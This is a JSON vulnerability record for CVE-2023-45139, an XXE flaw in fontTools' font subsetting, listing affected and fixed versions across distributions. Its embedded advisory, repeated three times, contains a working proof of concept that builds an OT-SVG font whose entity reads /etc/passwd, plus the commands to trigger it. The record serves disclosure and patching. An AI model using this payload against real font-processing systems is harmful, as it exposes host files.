{"id":"CVE-2023-45139","aliases":["DEBIAN-CVE-2023-45139","EUVD-2024-0267","GHSA-6673-4983-2vx5","MGASA-2024-0060","OESA-2024-1080","PYSEC-2026-1388","UBUNTU-CVE-2023-45139","USN-7917-1","openSUSE-SU-2024:13686-1","openSUSE-SU-2026:11991-1"],"status":"published","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01228,"percentile":0.69126,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-611"],"published":"2024-01-09T16:01:10Z","modified":"2026-10-28T02:30:58Z","fixes":[{"ecosystem":"PyPI","package":"fonttools","fixed_in":["4.43.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"fonttools","fixed_in":["4.38.0-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"fonttools","fixed_in":["4.46.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"fonttools","fixed_in":["4.46.0-1"],"sources":["osv"]},{"ecosystem":"Mageia:9","package":"fonttools","fixed_in":["4.38.0-2.1.mga9"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP3","package":"python-fonttools","fixed_in":["fonttools-4.39.4-2.oe2203sp3"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"fonttools","fixed_in":["4.29.1-2ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-FontTools","fixed_in":["4.62.1-1.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.28.2"},{"fixed":"4.43.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.38.0-1+deb12u1"}]}],"versions":["4.38.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.46.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.46.0-1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.28.2"},{"fixed":"4.43.0"}]}],"versions":["4.28.2","4.28.3","4.28.4","4.28.5","4.29.0","4.29.1","4.30.0","4.31.0","4.31.1","4.31.2","4.32.0","4.33.0","4.33.1","4.33.2","4.33.3","4.34.0","4.34.1","4.34.2","4.34.3","4.34.4","4.35.0","4.36.0","4.37.0","4.37.1","4.37.2","4.37.3","4.37.4","4.38.0","4.38.1.dev0","4.39.0","4.39.1","4.39.2","4.39.3","4.39.4","4.40.0","4.41.0","4.41.1","4.42.0","4.42.1"]},{"source":"osv","ecosystem":"Mageia:9","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.38.0-2.1.mga9"}]}]},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"python-fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"fonttools-4.39.4-2.oe2203sp3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.28.2"},{"fixed":"4.43.0"}]}],"versions":["4.28.2","4.28.3","4.28.4","4.28.5","4.29.0","4.29.1","4.30.0","4.31.0","4.31.1","4.31.2","4.32.0","4.33.0","4.33.1","4.33.2","4.33.3","4.34.0","4.34.1","4.34.2","4.34.3","4.34.4","4.35.0","4.36.0","4.37.0","4.37.1","4.37.2","4.37.3","4.37.4","4.38.0","4.38.1.dev0","4.39.0","4.39.1","4.39.2","4.39.3","4.39.4","4.40.0","4.41.0","4.41.1","4.42.0","4.42.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.29.1-2ubuntu0.1~esm1"}]}],"versions":["4.23.1-1","4.27.1-1","4.28.3-1","4.28.5-1","4.29.1-1","4.29.1-2build1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.29.1-2ubuntu0.1~esm1"}]}],"versions":["4.23.1-1","4.27.1-1","4.28.3-1","4.28.5-1","4.29.1-1","4.29.1-2build1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.46.0-1ubuntu0.1~esm1"}]}],"versions":["4.38.0-1build1","4.38.0-1build2","4.46.0-1","4.46.0-1build2"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"fonttools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.55.3-2ubuntu0.25.10.1"}]}],"versions":["4.55.3-2build1"],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-FontTools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.62.1-1.3"}]}]}],"products":[{"vendor":"fonttools","product":"fonttools"}],"references":[{"url":"https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c","tags":["x_refsource_MISC","x_transferred","Patch","fix","web","report"]},{"url":"https://github.com/fonttools/fonttools/releases/tag/4.43.0","tags":["x_refsource_MISC","x_transferred","Release Notes","web","report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75/","tags":["x_transferred","web"]},{"url":"http://www.openwall.com/lists/oss-security/2024/03/09/1","tags":["x_transferred","web"]},{"url":"http://www.openwall.com/lists/oss-security/2024/03/08/2","tags":["x_transferred","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139","tags":["advisory"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6673-4983-2vx5","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45139.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-45139","tags":["advisory"]},{"url":"https://github.com/fonttools/fonttools","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2024-0060.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=32955","tags":["report"]},{"url":"https://www.openwall.com/lists/oss-security/2024/03/08/2","tags":["web"]},{"url":"https://www.openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2024-1080","tags":["advisory"]},{"url":"https://pypi.org/project/fonttools","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2023-45139","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-45139","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7917-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-66034","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2023-45139","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2023-45139","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:03:08.77Z","modified":"2025-06-03T14:27:45.728Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:35:22.640346Z"}],"euvd":[{"id":"EUVD-2024-0267","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:03:08Z","modified":"2025-06-03T14:27:45Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T20:32:31.558173Z"}],"ghsa":[{"id":"GHSA-6673-4983-2vx5","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"### Summary\n\nAs of `fonttools\u003e=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE svg [\u003c!ENTITY test SYSTEM 'file:///etc/passwd'\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cg id=\"glyph1\"\u003e\n    \u003ctext font-size=\"10\" x=\"0\" y=\"10\"\u003e\u0026test;\u003c/text\u003e\n  \u003c/g\u003e\n\u003c/svg\u003e\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf \u0026\u0026 cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n","status":"published","published":"2024-01-09T16:01:10Z","modified":"2024-05-02T13:09:25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:37:48.08826Z"}],"nvd":[{"id":"CVE-2023-45139","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:15:46.767Z","modified":"2026-06-17T06:28:17.89Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T14:09:00.788714Z"}],"osv":[{"id":"CVE-2023-45139","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:03:08.77Z","modified":"2026-10-28T02:30:58.507617816Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T15:44:33.792101Z"},{"id":"DEBIAN-CVE-2023-45139","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:15:46.767Z","modified":"2026-10-26T18:02:49.527404628Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:40.275853Z"},{"id":"GHSA-6673-4983-2vx5","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"### Summary\n\nAs of `fonttools\u003e=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE svg [\u003c!ENTITY test SYSTEM 'file:///etc/passwd'\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cg id=\"glyph1\"\u003e\n    \u003ctext font-size=\"10\" x=\"0\" y=\"10\"\u003e\u0026test;\u003c/text\u003e\n  \u003c/g\u003e\n\u003c/svg\u003e\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf \u0026\u0026 cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n","status":"published","published":"2024-01-09T16:01:10Z","modified":"2026-09-10T03:50:04.834179707Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-611"],"updated_at":"2026-11-02T15:46:39.266402Z"},{"id":"OESA-2024-1080","title":"python-fonttools security update","description":"FontTools is a library for manipulating fonts, written in Python. The project includes the TTX tool, that can convert TrueType and OpenType fonts to and from an XML text format, which is also called TTX. It supports TrueType, OpenType, AFM and to an extent Type 1 and some Mac-specific formats. The project has an MIT open-source licence.\r\n\r\nSecurity Fix(es):\r\n\r\nfontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.(CVE-2023-45139)","status":"published","published":"2024-01-19T11:06:31Z","modified":"2026-08-18T01:18:13.172556153Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:40.71472Z"},{"id":"PYSEC-2026-1388","title":"fonttools XML External Entity Injection (XXE) Vulnerability","description":"### Summary\n\nAs of `fonttools\u003e=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE svg [\u003c!ENTITY test SYSTEM 'file:///etc/passwd'\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cg id=\"glyph1\"\u003e\n    \u003ctext font-size=\"10\" x=\"0\" y=\"10\"\u003e\u0026test;\u003c/text\u003e\n  \u003c/g\u003e\n\u003c/svg\u003e\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf \u0026\u0026 cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n","status":"published","published":"2026-07-07T11:45:29.872888Z","modified":"2026-07-07T17:47:21.814862636Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:54.622769Z"},{"id":"UBUNTU-CVE-2023-45139","description":"fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.","status":"published","published":"2024-01-10T16:15:00Z","modified":"2026-04-28T16:31:54.079186Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:54:22.741943Z"},{"id":"MGASA-2024-0060","title":"Updated fonttools packages fix security vulnerabilities","description":"As of fonttools\u003e=4.28.2 the subsetting module has a XML External Entity\nInjection (XXE) vulnerability which allows an attacker to resolve\narbitrary entities when a candidate font (OT-SVG fonts), which contains\na SVG table, is parsed.\nThis allows attackers to include arbitrary files from the filesystem\nfontTools is running on or make web requests from the host system.\n","status":"published","published":"2024-03-14T19:34:17Z","modified":"2026-04-16T04:44:07.705953355Z","updated_at":"2026-11-02T15:49:42.684501Z"},{"id":"openSUSE-SU-2024:13686-1","title":"python310-FontTools-4.47.2-2.1 on GA media","description":"These are all security issues fixed in the python310-FontTools-4.47.2-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:59:51.31339Z","updated_at":"2026-11-02T16:58:36.327643Z"},{"id":"openSUSE-SU-2026:11991-1","title":"python313-FontTools-4.62.1-1.3 on GA media","description":"These are all security issues fixed in the python313-FontTools-4.62.1-1.3 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-04T00:00:00Z","modified":"2026-10-05T10:15:30.195257083Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"USN-7917-1","title":"fonttools vulnerabilities","description":"It was discovered that the subsetting module of fontTools was vulnerable to\nan XML External Entity (XEE) attack. An unauthenticated remote attacker\ncould possibly use this issue to include arbitrary files from the file\nsystem or make web requests from the host system. This issue only  affected\nUbuntu 22.04 LTS. (CVE-2023-45139)\n\nIt was discovered that fontTools was vulnerable to path traversal attacks.\nIf a user or automated system were tricked into extracting a specially\ncrafted .designspace file, an attacker could possibly use this issue to\nwrite arbitrary files outside the target directory, resulting in remote\ncode execution. This issue only affected Ubuntu 24.04 LTS, Ubuntu 25.04\nand Ubuntu 25.10. (CVE-2025-66034)","status":"published","published":"2025-12-09T17:08:58Z","modified":"2026-04-27T18:30:23.719267Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}
